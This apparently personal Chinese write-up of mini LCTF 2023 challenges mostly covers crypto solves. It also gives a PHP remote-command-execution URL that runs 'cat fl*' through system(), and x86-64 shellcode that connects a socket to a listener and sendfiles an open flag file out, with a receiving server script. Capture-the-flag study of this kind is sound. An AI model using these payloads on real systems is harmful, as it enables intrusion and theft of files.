[mini LCTF 2023] 西电的部分

[mini LCTF 2023] 西电的部分

感觉比赛还是很不错,就是有点难了,不过都是简单题重复更没意思。作出一道来就有一点收获。

misc1

签到题也不简单,已经很久不作misc了,感觉这东西需要安的东西太多,怕机子累坏了。

一个复合的wav声音文件,切出来多半个flaSSTV和一个压缩包。声音文件看频谱有密码

[mini LCTF 2023] 西电的部分

 打开还是声音文件 ,用SSTV听得到图片-flag的尾吧

[mini LCTF 2023] 西电的部分

web1

 web也有签到,虽然不研究这个,签个到还行。

打开网页看原代码有shell.php再打开看到原码

<?php
$a = $_GET["a"];
$b = $_GET["b"];
$c = $_GET["c"];
$d = $_GET["d"];
$e = $_GET["e"];
$f = $_GET["f"];
$g = $_GET["g"];
if(preg_match("/Error|ArrayIterator|SplFileObject/i", $a)) {
    die("你今天rce不了一点");
}
if(preg_match("/php/i", $b)) {
 die("别上🐎,想捣蛋啊哥们?");
}
if(preg_match("/Error|ArrayIterator/i", $c)) {
 die("你今天rce不了一点");
}
$class = new $a($b);
$str1 = substr($class->$c(),$d,$e);
$str2 = substr($class->$c(),$f,$g);
$str1($str2);
//flag.php
?>

想了半天用哪个内置的对象,查了网上有stdClass但这东西没有方法可用,看原码上提到Error想到用Exception这个有内置方法getMessage然后system就行了

http://45.77.145.0:200/shell.php?a=Exception&b=systemcat+fl*|base64&c=getMessage&d=0&e=6&f=6&g=14

得到base64编码的flag.php然后再解码

crypto/curvesigin

 密码这块怎么没签到呢,原来签到在后边。这个题诸多坑。

from Crypto.Util.number import *
from secret import flag
import random
flag = flag.strip(b'miniLctf{').strip(b'}')
flag1 = bytes_to_long(flag[:len(flag)//2])
flag2 = bytes_to_long(flag[len(flag)//2:])
q = getPrime(80)
a,b,c = [random.randrange(1,q-1) for _ in "_what_is_this_equation_?_"][:3]
def add(P,Q):
	if P[0] != Q[0] and P[1] != Q[1]:
		t = ((Q[1]-P[1]) * inverse(Q[0]-P[0],q)) %q
	else:
		t = ((3*c*P[0]*P[0]+a) * inverse(2*b*P[1],q))%q
	x3 = b*inverse(c,q)*t*t - P[0] - Q[0]
	y3 = t*(P[0] - x3) - P[1]
	return (x3%q, y3%q)
def mul(t, A, B=0):
    if not t: return B
    return mul(t//2, add(A,A), B if not t&1 else add(B,A) if B else A)
G = (543964449142803087188784, 288605946000947449279542)
assert G[0] == flag1
Ps = []
ms = [random.randrange(1,q-1) for _ in "welcome_to_xxxctf2023"[:4]] + [flag2]
for m in ms:
    P = mul(m,G)
    Ps.append(P)
print(f'G = {G}\nPs = {Ps}')
'''
G = (543964449142803087188784, 288605946000947449279542)
Ps = [(615716520116903164238350, 815735349922061558569393), (256042693223413187255214, 400772499742719022770893), (620452972415969514798065, 660749148335795540667246), (118301218326000413235697, 338882909672963432813505), (793604064853039619406880, 93386361837996865025986)]
'''

就喜欢代码短的,一看就明白,这是个椭圆曲线加密最后后是求私钥,前边没给出方程,但给出斜率。

a,b,c = [random.randrange(1,q-1) for _ in "_what_is_this_equation_?_"][:3]
t = ((3*c*P[0]*P[0]+a) * inverse(2*b*P[1],q))%q

这里是第1个坑,斜率用到3个参数,题目也给出3个参数生成方法,其实方程是4个参数

b*y^{2} = c*x^{3} + a*x + d

先把b去掉

y^{2} = a*x^{3} + b*x + c

这里的d没说,因为斜率是求导得到的,常数项被导掉了。然后6个x,y求参数

由于有限域的模没给出,通过6个方程得到k*q

G = (543964449142803087188784, 288605946000947449279542)
Ps = [(615716520116903164238350, 815735349922061558569393), (256042693223413187255214, 400772499742719022770893), (620452972415969514798065, 660749148335795540667246), (118301218326000413235697, 338882909672963432813505), (793604064853039619406880, 93386361837996865025986)]
#
#1,求q
def fun5(g1,g2,g3,g4,g5,g6):
    x1,y1 = g1 
    x2,y2 = g2 
    x3,y3 = g3 
    x4,y4 = g4
    x5,y5 = g5 
    x6,y6 = g6
    A1 = (x3 - x4)*(y1**2 - y2**2) - (x1 - x2)*(y3**2 - y4**2)
    A2 = (x5 - x6)*(y1**2 - y2**2) - (x1 - x2)*(y5**2 - y6**2)
    B1 = (x1**3 - x2**3)*(x3 - x4) - (x3**3 - x4**3)*(x1 - x2)
    B2 = (x1**3 - x2**3)*(x5 - x6) - (x5**3 - x6**3)*(x1 - x2)
    return A1*B2 - A2*B1
v = ([G] + Ps)
kq = fun5( *v )
kq = 1659781780256202117320982411911907021129251124933071094831730558095985915900469756361610566671381121385960359097740745076076254241750071580595324136001810341690635932

因为已知q是80位,对kq分解可以得到q,不分解据说也行,可以直接用kq作模求参数

#2,对kq分解,找到q
'''
P1 = 2
P1 = 2
P1 = 3
P1 = 7
P2 = 11
P4 = 2851
P6 = 142619
P6 = 341569
P9 = 121253203
P16 = 1364065646451691
P23 = 31026401285225228917603
P24 = 878502880971205563250537   <-----80位
P79 = 2868949361189169406203504733670610246297691354043115570120121449069654765161971
'''
#3,求参 两边都有参数,将方程左边的b除掉,看右边
q = 878502880971205563250537
C1,C2,C3,C4,C5,C6 = v 
P.<a,b,c>=PolynomialRing(Zmod(q))
f1 = a*C1[0]^3 + b*C1[0] + c - C1[1]^2 
f2 = a*C2[0]^3 + b*C2[0] + c - C2[1]^2 
f3 = a*C3[0]^3 + b*C3[0] + c - C3[1]^2 
f4 = a*C4[0]^3 + b*C4[0] + c - C4[1]^2 
f5 = a*C5[0]^3 + b*C5[0] + c - C5[1]^2 
f6 = a*C6[0]^3 + b*C6[0] + c - C6[1]^2 
F = [f1,f2,f3,f4,f5,f6]
Ideal = Ideal(F)
I = Ideal.groebner_basis()
print(I)
#[a + 662963051503062411245929, b + 405447704422414394053669, c + 189827742241355283851865]
a,b,c = -662963051503062411245929%q,-405447704422414394053669%q,-189827742241355283851865%q
#a,b,c = (215539829468143152004608, 473055176548791169196868, 688675138729850279398672)

然后这里的第2个坑,这个方程不是标准的椭圆方程形式,x项有参数,先将a取3次方根k,用kx代码x,对x轴进行缩放得到标准方程。

#4,对x轴向缩放,转换成标准方程
#4.1 令x = kx ,k^3 = a 求k
P.<x> = PolynomialRing(GF(q))  #
f = x^3 - a 
f.roots()
#[(430117650226655400246319, 1), (420974725922346296990896, 1), (27410504822203866013322, 1)]
k = 27410504822203866013322
#y^2 = (kx)^3 + A*kx + B 
A = b*pow(k,-1,q) 
B = c
x = G[0]*k%q
y = G[1]
#点G,m*G缩放后放入方程
E = EllipticCurve(GF(q), [A, B])
P = E(G[0]*k%q,G[1])
Q = E(Ps[-1][0]*k%q, Ps[-1][1])

然后这里因为q很小,可以直接求对数,不过出来的结果不正确。问了别人说可能m比order大,这里这rsa有点相似,rsa是加p-1,这里是加order不过这个方程本身多解,order也不是最简的,将order分解,最接近的就是1/2 order,用order/2爆破

#5,求私钥
m = discrete_log(Q, P, operation='+') 
m 
long_to_bytes(int(m))
#6, 估计这个G是曲线某个循环子群的生成元,阶是order的某个因子
#E.order() 878502880972065193795276
v = E.order()//2
for i in range(100):
    long_to_bytes(m+i*v)
'''
b"\x10l\x97+'2\xfe\x82\xa2\n"
b'mput3__d1p'
miniLctf{s0_3@5y_c0mput3__d1p}
'''

crypto/guess

突然后边这个如此简单。

from secret import flag
from functools import reduce
from Crypto.Util.number import getPrime
from hashlib import sha256
import socketserver
import signal
import string 
import random
import gmpy2
N_SIZE=52
MOD_SIZE=50
def dec2blist(decimal, length):
    """
    Converts an integer to a binary list of a specified length, filling zeros on the left if necessary.
    """
    bitlist = []
    while decimal > 0:
        bit = decimal % 2
        bitlist.append(bit)
        decimal //= 2
    bitlist.reverse()
    if len(bitlist) < length:
        bitlist = [0] * (length - len(bitlist)) + bitlist
    return bitlist
def generate_prime_list(listlen:int,q:int):
    primes = []
    while len(primes) < listlen:
        n = random.randint(2, q-1)
        if gmpy2.is_prime(n):
            primes.append(n)
    return primes
def verify(prime_list,key,q,product):
    choice=dec2blist(key,len(prime_list))
    elements = [prime_list[i] for i in range(len(prime_list)) if choice[i]]
    newproduct = reduce((lambda x, y: x * y % q), elements)
    return product==newproduct
def product_mod_q(prime_list,q):
    l=len(prime_list)
    elements = random.sample(prime_list,random.randint(l//2,l))  #随机取n个
    product = reduce((lambda x, y: x * y % q), elements)
    return product
class Task(socketserver.BaseRequestHandler):
    def _recvall(self):
        BUFF_SIZE = 2048
        data = b''
        while True:
            part = self.request.recv(BUFF_SIZE)
            data += part
            if len(part) < BUFF_SIZE:
                break
        return data.strip()
    def send(self, msg, newline=True):
        try:
            if newline:
                msg += b'\n'
            self.request.sendall(msg)
        except:
            pass
    def recv(self, prompt=b'[-] '):
        self.send(prompt, newline=False)
        return self._recvall()
    def proof_of_work(self):
        table = string.ascii_letters+string.digits
        proof = (''.join([random.choice(table)for _ in range(20)])).encode()
        sha = sha256(proof).hexdigest().encode()
        self.send(b"[+] sha256(XXXX+" + proof[4:] + b") == " + sha )
        XXXX = self.recv(prompt = b'[+] Plz Tell Me XXXX :')
        if len(XXXX) != 4 or sha256(XXXX + proof[4:]).hexdigest().encode() != sha:
            return False
        return True
    def handle(self):
        signal.alarm(233)
        self.send(b"Welcome to Gauss Frenzy! You need to complete the Proof of work first!")
        proof = self.proof_of_work()
        if not proof:
            self.request.close()
        q=getPrime(MOD_SIZE)   #50
        prime_list=generate_prime_list(N_SIZE,q)  #52个<q-1 素数
        self.send(b"Alice have some primes:\n"+str(prime_list).encode()+b"\n")
        product=product_mod_q(prime_list,q) #
        self.send(f"She picks some and multiplies them ,then mod {q} ,the product is {product}".encode())
        self.send(b"You should guess Alice's choice as the key to get the flag!\n")
        for _ in range(5):
            try:
                key=int(self.recv(b"[-] key=\n").decode())
            except Exception as e:
                self.send(str(e).encode())
            if(verify(prime_list,key,q,product)):
                self.send(f"Congratulations! Here's the flag for you \n{flag}".encode())
                self.request.close()
            else:
                self.send("Nope! Try again!".encode())
        self.send("Bye!")
class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    pass
class ForkedServer(socketserver.ForkingMixIn, socketserver.TCPServer):
    pass
if __name__ == "__main__":
    HOST, PORT = '0.0.0.0', 10001
    server = ForkedServer((HOST, PORT), Task)
    server.allow_reuse_address = True
    print(HOST, PORT)
    server.serve_forever()

感觉可以秒,但我来得太晚了,看到群里好多人说比赛才来,晚了一天。

题目看上去是个乘法背包问题,不过背包问题这个没有解法。

先后成52个大点的数,然后任选26-52个乘再取模,只要回复用的哪些数就行了,这个规划26以上是不可爆破的,不过反过来看如果用除法,先把所有数都乘一起再去数规模就不大了,这是个随机数,很大可能会非常靠近52,如果是48就可以秒出。所以用程序爆破,等到一个数很大的情况就OK了,由于比赛链接程序不劫持win7,所以虚机下不能作太大,最大爆破到5个数。

from pwn import *
from hashlib import sha256
from itertools import product 
from functools import reduce
import string 
from gmpy2 import invert 
def proof_of_work_2(suffix, hash): # sha256, suffix, known_hash
    table = string.digits + string.ascii_letters
    def judge(x): return sha256( x.encode()+suffix).digest().hex() == hash
    return util.iters.bruteforce(judge, table,length=4, method = 'fixed')
def conn():
    p = remote('127.0.0.1', 42837)
    #proof 
    #[+] sha256(XXXX+sA2ln63bJoakKsCH) == 703412e7644621fdc24f2a867503b12b1962098138734efcdfa492e8a0aa9ff3
    p.recvuntil(b"[+] sha256(XXXX+")
    tail = p.recvuntil(b') == ', drop=True)
    s256 = p.recvline().strip().decode()
    print(tail, s256)
    head = proof_of_work_2(tail, s256)
    p.sendlineafter(b'[+] Plz Tell Me XXXX :', head.encode())
    return p
def get_list():
    ra = [invert(v,q) for v in a]  #
    pro = 1
    for v in a:
        pro = pro*v%q 
    queue = {pro:[]}   #{value:[selected],...}
    for i in range(5):
        tmpque = {}
        for v in queue:
            for j in range(52):
                tv = v*ra[j]%q 
                used = queue[v]+[j]
                if tv == tag:
                    print(v,tv,used,queue[v])
                    return used
                tmpque[tv]= used
        queue = tmpque 
    return []
while True:
    p = conn()
    #get arg 
    p.recvuntil(b"Alice have some primes:\n")
    a = eval(p.recvline())
    p.recvuntil(b"She picks some and multiplies them ,then mod ")
    q = int(p.recvuntil(b" ,the product is ", drop=True))
    tag = int(p.recvline())
    print(f"{a = }\n{q = }\n{tag = }")
    ok = get_list()
    if ok == []:
        print('Too small, I need least 46')
        p.close()
        continue
    nok = int(''.join(['1' if i not in ok else '0' for i in range(52)]),2)
    print('product:',nok)
    p.sendlineafter(b"[-] key=\n", str(nok).encode())
    print(p.recvline())
    p.interactive()
'''
[*] Closed connection to 127.0.0.1 port 42837
[+] Opening connection to 127.0.0.1 on port 42837: Done
b'yUsiSbqI3CEkYDHQ' 6f4524747484866eddcc1d604703dcb12c543ec33256401cad151178967a2ebd
[+] Bruteforcing: Found key: "SYxS"
a = [692499566575429, 134409149748749, 653932750798099, 568575041179157, 417668664450083, 164345418891391, 315948694001401, 823878428502929, 355457066169631, 437549476740659, 574669373467697, 491164490580073, 900552220077271, 431433715245179, 820501600382939, 798872425216751, 284934127998571, 173026900187737, 913424022312407, 457769412178997, 352853959269067, 156247212471079, 728813442004363, 759954178481447, 85237894329787, 235453629681799, 769348518710293, 328880426484053, 113124598931221, 96587581662709, 193038793331903, 712655061930013, 867402730060049, 528836472166031, 256841059695403, 170909563018349, 186848057458607, 172285989871343, 421214319576881, 21590091037003, 784142317402777, 263674901435663, 715076995877687, 772147525631093, 547771349394097, 543719454650789, 7388868411101, 528418675320617, 114136387374553, 785217883772339, 507155426971961, 579007431282431]
q = 930809387620663
tag = 334916561117582
625299989058834 334916561117582 [35, 26, 4, 1, 41] [35, 26, 4, 1]
product: 3236962198551551
b"Congratulations! Here's the flag for you \n"
[*] Switching to interactive mode
b'miniL{C0ngr4tu1atio5!U_D0_KnOw_b4ckpacK!!!}'
'''

crypto/giveway

这个也很长,不过仔细看很简单,生成个大矩阵,然后用 flag乘给出结果,如果矩阵够大的话,直接可解,可问题是不够大。不过两次运行flag不变,所以干两次就够大了。来晚了

from secret import message
from functools import reduce
from hashlib import sha256
from Crypto.Util.number import bytes_to_long
import socketserver
import signal
import string 
import random
def dec2blist(decimal, length):
    """
    Converts an integer to a binary list of a specified length, filling zeros on the left if necessary.
    """
    bitlist = []
    while decimal > 0:
        bit = decimal % 2
        bitlist.append(bit)
        decimal //= 2
    bitlist.reverse()
    if len(bitlist) < length:
        bitlist = [0] * (length - len(bitlist)) + bitlist
    return bitlist
def bake(list1,list2):
    return reduce((lambda x,y: x ^ y) , list(map(lambda x, y: x and y, list1, list2)) )
def send_a_chocolate(self):
    assert len(bin(bytes_to_long(message)))-2==511
    dough=bytes_to_long(message)
    chocolate_jam=random.getrandbits(512)
    cookie=bake(dec2blist(dough, 512), dec2blist(chocolate_jam,512))
    self.send(f"[+] The lucky sticker reads ({cookie},{hex(chocolate_jam)}). Yummy!\n".encode())
class Task(socketserver.BaseRequestHandler):
    def _recvall(self):
        BUFF_SIZE = 2048
        data = b''
        while True:
            part = self.request.recv(BUFF_SIZE)
            data += part
            if len(part) < BUFF_SIZE:
                break
        return data.strip()
    def send(self, msg, newline=True):
        try:
            if newline:
                msg += b'\n'
            self.request.sendall(msg)
        except:
            pass
    def recv(self, prompt=b'[-] '):
        self.send(prompt, newline=False)
        return self._recvall()
    def proof_of_work(self):
        table = string.ascii_letters+string.digits
        proof = (''.join([random.choice(table)for _ in range(20)])).encode()
        sha = sha256(proof).hexdigest().encode()
        self.send(b"[+] sha256(XXXX+" + proof[4:] + b") == " + sha )
        XXXX = self.recv(prompt = b'[+] Plz Tell Me XXXX :')
        if len(XXXX) != 4 or sha256(XXXX + proof[4:]).hexdigest().encode() != sha:
            return False
        return True
    def sendmenu(self,coins):
        self.send(f"[+] Welcome to Flag Vending Machine! You have {coins} coins available. \
Please press the number to make your choice!\n[1] Buy a chocolate cookie\n[2] Top-up silver coins \n[3] Exit\n".encode())
    def handle(self):
        signal.alarm(233)
        coins=random.randint(503,508)#Well ... Easy mode
        self.send(b"Chocolate Fortune Cookie For Sale! You need to complete the Proof of work first!")
        proof = self.proof_of_work()
        if not proof:
            self.request.close()
        while(coins):
            self.sendmenu(coins)
            try:
                choice=int(self.recv().decode())
            except Exception as e:
                self.send(str(e).encode())
                continue
            if (choice == 1 and coins > 0):
                coins -= 1
                send_a_chocolate(self)
            elif (choice == 2):
                self.send(b"[+] Error: The service is currently unavailable, please try again later :(\n")
            elif (choice == 3):
                self.send(b"[+] Bye!\n")
                self.request.close()
            else:
                self.send(b"[+] Please send 1/2/3 to make your choice!\n")
        self.send(b"[+] Looks like you\'re out of coins... See you next time! Good luck!\n")
        self.request.close()
class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    pass
class ForkedServer(socketserver.ForkingMixIn, socketserver.TCPServer):
    pass
if __name__ == "__main__":
    HOST, PORT = '0.0.0.0', 10007
    server = ForkedServer((HOST, PORT), Task)
    server.allow_reuse_address = True
    print(HOST, PORT)
    server.serve_forever()

第1步先取数,虽然有proof但挡不住我取两次。

from pwn import *
from hashlib import sha256
from itertools import product 
import string 
from gmpy2 import invert 
p = remote('127.0.0.1', 25890)
#context.log_level = 'debug'
#proof 
#[+] sha256(XXXX+sA2ln63bJoakKsCH) == 703412e7644621fdc24f2a867503b12b1962098138734efcdfa492e8a0aa9ff3
p.recvuntil(b"[+] sha256(XXXX+")
tail = p.recvuntil(b') == ', drop=True)
s256 = p.recvline().strip().decode()
print(tail, s256)
def proof_of_work_2(suffix, hash): # sha256, suffix, known_hash
    table = string.digits + string.ascii_letters
    def judge(x): return sha256( x.encode()+suffix).digest().hex() == hash
    return util.iters.bruteforce(judge, table,length=4, method = 'fixed')
head = proof_of_work_2(tail, s256)
p.sendlineafter(b'[+] Plz Tell Me XXXX :', head.encode())
#get 
#[+] The lucky sticker reads (0,0x4968e21f1625271295d2137bbfa872cbe94e374e82987a2e76d063f424f695738a86034abba35534911d72b3f5eb31153b62ad291c1f2199c054b21388edd239). Yummy!\n
for i in range(508):
    p.sendlineafter(b'[-] ', b'1')
    ret = p.recvline()
    if ret == b"[+] Please send 1/2/3 to make your choice!\n":
        break 
    coo,jam = eval(ret[28:-9])
    print(coo,jam)
    

然后矩阵除

data = [..此处略去1000行..]
B = matrix(GF(2), 512, 1009)
for i in range(len(data)):
    v = bin(data[i][1])[2:].rjust(512,'0')
    for j in range(512):
        B[j,i] = int(v[j],2) 
C = vector(GF(2), [data[i][0] for i in range(len(data))])
A = B.solve_left(C)
v = ''.join(['0' if i==0 else '1' for i in A])
bytes.fromhex(hex(int(v,2))[2:])
#b'miniL{We1c0me_TO_M1niL2o23_Crypt0!} Enjoy the challenges ahead! '

后边几个等wp了。题很好就是会得少。最后1分钟交了个调查问卷终于进前10了。最后一条线,但是大佬的名字都太长了就显示不下小的了

[mini LCTF 2023] 西电的部分

pwn/ez_shellcode

 赛完10分钟,问了一下,终于解决了。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int length; // [rsp+4h] [rbp-Ch]
  char *oo0Oo; // [rsp+8h] [rbp-8h]
  OooO0OOo();
  puts("Welcome to MiniL2023!!! Enjoy~");
  puts("Well, Let's play a game to warm up!");
  oo0Oo = (char *)mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
  memset(oo0Oo, 144, 0x1000uLL);
  length = read(0, ooooo0ooo0o, 0x40uLL);
  memcpy(oo0Oo, &unk_20E8, 0x30uLL);
  memcpy(oo0Oo + 48, ooooo0ooo0o, length);
  if ( o0o0o000o() )
    ((void (*)(void))oo0Oo)();
  return 0;
}
int __cdecl o0o0o000o()
{
  int fd1; // [rsp+8h] [rbp-828h]
  int fd2; // [rsp+Ch] [rbp-824h]
  char buf2[1024]; // [rsp+20h] [rbp-810h] BYREF
  char buf1[1024]; // [rsp+420h] [rbp-410h] BYREF
  unsigned __int64 v5; // [rsp+828h] [rbp-8h]
  v5 = __readfsqword(0x28u);
  puts("I'll make sure flag is ready.");
  fd1 = open("flag1", 0);
  if ( fd1 >= 0 )
  {
    if ( read(fd1, buf2, 0x400uLL) > 0 )
    {
      fd2 = open("flag2", 0);
      if ( fd2 >= 0 )
      {
        if ( read(fd2, buf1, 0x400uLL) > 0 )
        {
          puts("Well, flag is ready.");
          close(fd1);
          close(fd1);                           // fd2未关闭
          memset(buf1, 0, sizeof(buf1));
          memset(buf1, 0, sizeof(buf1));
          close_seccomp();
          return 1;
        }
        else
        {
          puts("flag2 file is empty");
          return 0;
        }
      }
      else
      {
        puts("flag2 file doesn't exit");
        return 0;
      }
    }
    else
    {
      puts("flag1 file is empty");
      return 0;
    }
  }
  else
  {
    puts("flag1 file doesn't exit");
    return 0;
  }
}

题目很明了,先读入shellcode到mmap生成的rwx段,然后去执行。flag文件打开,flag2忘关掉,shellcode最长0x40,之前会关掉input,output,error,把除rip以外的寄存器清0,并仅保留socket,connect,sendfile 三个syscall。显然是socket,connect,sendfile,只是sendfile这块一直没成功。

shellcode分4块

第1块获取地址,代码如果用shellcraft生成会很长,这个都得手工写

lea rsp,[rip]+0x8f9; /* rbp = mmap+0x30+0x40 rip:0x37*/

第2块socket,不需要变的全省略

push rax
mov rax, 0x0100007f6c1e0002   /* sockaddr */
push rax
/* int socket(int domain, int type, int protocol); */
/* socket(AF_INET,SOCK_STREAM,0) */
/*cdq  rdx=0 */
mov dil,2
inc esi
push 0x29
pop rax
syscall 

第3块connect

/* int connect(int sockfd, struct sockaddr *serv_addr, int addrlen); */
/*connect(socket_fd,rbp,0x10)  +0x70, +0x68:port:ip */
xor rdi,rdi
push rsp
pop rsi
mov dl,0x10
mov al, 0x2a
syscall 

 第4块sendfile (这里rdx需要指向0,而不是置0,就差这了,一直没成功)

/* ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count); */
push 4
pop rsi
push rsp
pop rdx
add rdx,8
push 0x50
pop r10
mov al,0x28
syscall

最后就发送就行了(这些都是本地调试的,真打应该找个有公网IP的机子,整个server收flag)

pay = asm(shellcode).ljust(0x40, b'\x90')
p = process('./main')
#p = remote('pwn.blackbird.wang', 9550)
#gdb.attach(p, "b*0x0000555555555642\nc")
#pause()
p.sendafter(b'up!\n', pay)
p.recvline()
p.recvline()
pause()

server.py

import socket
tcp_server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
address = ('127.0.0.1', 7788)
tcp_server_socket.bind(address)
tcp_server_socket.listen(128)
client_socket, clientAddr = tcp_server_socket.accept()
print('connted',clientAddr)
recv_data = client_socket.recv(1024)
print('接收到的数据为:', recv_data)
client_socket.close()

crypto/not_RSA

结束一会就能问到方法,复现一下. 一个刚听说的NovelSystem

题目是一个类似RSA的加密方法,乘幂是通过一对明文来回交叉然后作幂数组加法(重定规则),phi是(p^2+p+1)*(q^2+q+1)而p和q的生成方法是a^2+3*b^2

后来一问,才知道又是下论文题,最早像是出现在2021年的 pbctf上,加密算法有小改动.不过因为这个算法与rsa极其类似,加密用pow(m,e,n)解密用pow(c,d,n)所以加密函数并不用逆,只需要求d即可.

原题

from not_RSA import *
from secret import FLAG
from Crypto.Util.number import *
p, q = generate_prime(512), generate_prime(512)
n = p * q
phi = (p**2 + p + 1) * (q **2 + q + 1)
d = getPrime(276)
e = inverse(d, phi)
tmp = getPrime(469)
p0 = p + tmp
pt1, pt2 = random_padding(FLAG[:len(FLAG)//2]+b'#',127), random_padding(FLAG[len(FLAG)//2:]+b'#', 127)
m = (bytes_to_long(pt1), bytes_to_long(pt2))
c = special_power(m, e, n)
print(f"c = {c}")
print(f"n = {n}")
print(f"e = {e}")
print(f"p0 = {p0}")

加密算法

import random
from Crypto.Util.number import *
def generate_prime(bit_length):
    while True:
        a = random.getrandbits(bit_length//2)
        b = random.getrandbits(bit_length//2)
        if b % 3 == 0:
            continue
        p = a ** 2 + 3 * b ** 2
        if p.bit_length() == bit_length and p % 3 == 1 and isPrime(p):
            return p
def point_addition(P, Q, mod):
    m, n = P
    p, q = Q
    if p is None:
        return P
    if m is None:
        return Q
    if n is None and q is None:
        x = m * p % mod
        y = (m + p) % mod
        return (x, y)
    if n is None and q is not None:
        m, n, p, q = p, q, m, n
    if q is None:
        if (n + p) % mod != 0:
            x = (m * p + 2) * inverse(n + p, mod) % mod
            y = (m + n * p) * inverse(n + p, mod) % mod
            return (x, y)
        elif (m - n ** 2) % mod != 0:
            x = (m * p + 2) * inverse(m - n ** 2, mod) % mod
            return (x, None)
        else:
            return (None, None)
    else:
        if (m + p + n * q) % mod != 0:
            x = (m * p + (n + q) * 2) * inverse(m + p + n * q, mod) % mod
            y = (n * p + m * q + 2) * inverse(m + p + n * q, mod) % mod
            return (x, y)
        elif (n * p + m * q + 2) % mod != 0:
            x = (m * p + (n + q) * 2) * inverse(n * p + m * q + r, mod) % mod
            return (x, None)
        else:
            return (None, None)
def special_power(P, a, mod):
    res = (None, None)
    t = P
    while a > 0:
        if a & 1:
            res = point_addition(res, t, mod)
        t = point_addition(t, t, mod)
        a >>= 1
    return res
def random_padding(message, length):
    pad = bytes([random.getrandbits(8) for _ in range(length - len(message))])
    return message + pad

论文题,如果没见过解法打死也是想不出来的,毕竟人家是数学家.

先分解n

#---------------------------
'''
1,素数结构 p = a^2 + 3* b^2 ,p%3 == 1
2,phi的结构phi = (p^2+p+1)*(q^2+q+1)
3,给出N,e,c 
论文:https://eprint.iacr.org/2021/1160.pdf 
'''
import time
############################################
# Config
##########################################
"""
Setting debug to true will display more informations
about the lattice, the bounds, the vectors...
"""
debug = True
"""
Setting strict to true will stop the algorithm (and
return (-1, -1)) if we don't have a correct 
upperbound on the determinant. Note that this 
doesn't necesseraly mean that no solutions 
will be found since the theoretical upperbound is
usualy far away from actual results. That is why
you should probably use `strict = False`
"""
strict = False
"""
This is experimental, but has provided remarkable results
so far. It tries to reduce the lattice as much as it can
while keeping its efficiency. I see no reason not to use
this option, but if things don't work, you should try
disabling it
"""
helpful_only = True
dimension_min = 7 # stop removing if lattice reaches that dimension
############################################
# Functions
##########################################
# display stats on helpful vectors
def helpful_vectors(BB, modulus):
    nothelpful = 0
    for ii in range(BB.dimensions()[0]):
        if BB[ii,ii] >= modulus:
            nothelpful += 1
    print(nothelpful, "/", BB.dimensions()[0], " vectors are not helpful")
# display matrix picture with 0 and X
def matrix_overview(BB, bound):
    for ii in range(BB.dimensions()[0]):
        a = ('%02d ' % ii)
        for jj in range(BB.dimensions()[1]):
            a += '0' if BB[ii,jj] == 0 else 'X'
            if BB.dimensions()[0] < 60:
                a += ' '
        if BB[ii, ii] >= bound:
            a += '~'
        print(a)
# tries to remove unhelpful vectors
# we start at current = n-1 (last vector)
def remove_unhelpful(BB, monomials, bound, current):
    # end of our recursive function
    if current == -1 or BB.dimensions()[0] <= dimension_min:
        return BB
    # we start by checking from the end
    for ii in range(current, -1, -1):
        # if it is unhelpful:
        if BB[ii, ii] >= bound:
            affected_vectors = 0
            affected_vector_index = 0
            # let's check if it affects other vectors
            for jj in range(ii + 1, BB.dimensions()[0]):
                # if another vector is affected:
                # we increase the count
                if BB[jj, ii] != 0:
                    affected_vectors += 1
                    affected_vector_index = jj
            # level:0
            # if no other vectors end up affected
            # we remove it
            if affected_vectors == 0:
                print("* removing unhelpful vector", ii)
                BB = BB.delete_columns([ii])
                BB = BB.delete_rows([ii])
                monomials.pop(ii)
                BB = remove_unhelpful(BB, monomials, bound, ii-1)
                return BB
            # level:1
            # if just one was affected we check
            # if it is affecting someone else
            elif affected_vectors == 1:
                affected_deeper = True
                for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
                    # if it is affecting even one vector
                    # we give up on this one
                    if BB[kk, affected_vector_index] != 0:
                        affected_deeper = False
                # remove both it if no other vector was affected and
                # this helpful vector is not helpful enough
                # compared to our unhelpful one
                if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(bound - BB[ii, ii]):
                    print("* removing unhelpful vectors", ii, "and", affected_vector_index)
                    BB = BB.delete_columns([affected_vector_index, ii])
                    BB = BB.delete_rows([affected_vector_index, ii])
                    monomials.pop(affected_vector_index)
                    monomials.pop(ii)
                    BB = remove_unhelpful(BB, monomials, bound, ii-1)
                    return BB
    # nothing happened
    return BB
def attack(N, e, m, t, X, Y):
    modulus = e
    PR.<x, y> = PolynomialRing(ZZ)
    a = N + 1
    b = N * N - N + 1
    f = x * (y * y + a * y + b) + 1
    gg = []
    for k in range(0, m+1):
        for i in range(k, m+1):
            for j in range(2 * k, 2 * k + 2):
                gg.append(x^(i-k) * y^(j-2*k) * f^k * e^(m - k))
    for k in range(0, m+1):
        for i in range(k, k+1):
            for j in range(2*k+2, 2*i+t+1):
                gg.append(x^(i-k) * y^(j-2*k) * f^k * e^(m - k))
    def order_gg(idx, gg, monomials):
        if idx == len(gg):
            return gg, monomials
        for i in range(idx, len(gg)):
            polynomial = gg[i]
            non = []
            for monomial in polynomial.monomials():
                if monomial not in monomials:
                    non.append(monomial)
            if len(non) == 1:
                new_gg = gg[:]
                new_gg[i], new_gg[idx] = new_gg[idx], new_gg[i]
                return order_gg(idx + 1, new_gg, monomials + non)    
    gg, monomials = order_gg(0, gg, [])
    # construct lattice B
    nn = len(monomials)
    BB = Matrix(ZZ, nn)
    for ii in range(nn):
        BB[ii, 0] = gg[ii](0, 0)
        for jj in range(1, nn):
            if monomials[jj] in gg[ii].monomials():
                BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](X, Y)
    # Prototype to reduce the lattice
    if helpful_only:
        # automatically remove
        BB = remove_unhelpful(BB, monomials, modulus^m, nn-1)
        # reset dimension
        nn = BB.dimensions()[0]
        if nn == 0:
            print("failure")
            return 0,0
    # check if vectors are helpful
    if debug:
        helpful_vectors(BB, modulus^m)
    # check if determinant is correctly bounded
    det = BB.det()
    bound = modulus^(m*nn)
    if det >= bound:
        print("We do not have det < bound. Solutions might not be found.")
        print("Try with highers m and t.")
        if debug:
            diff = (log(det) - log(bound)) / log(2)
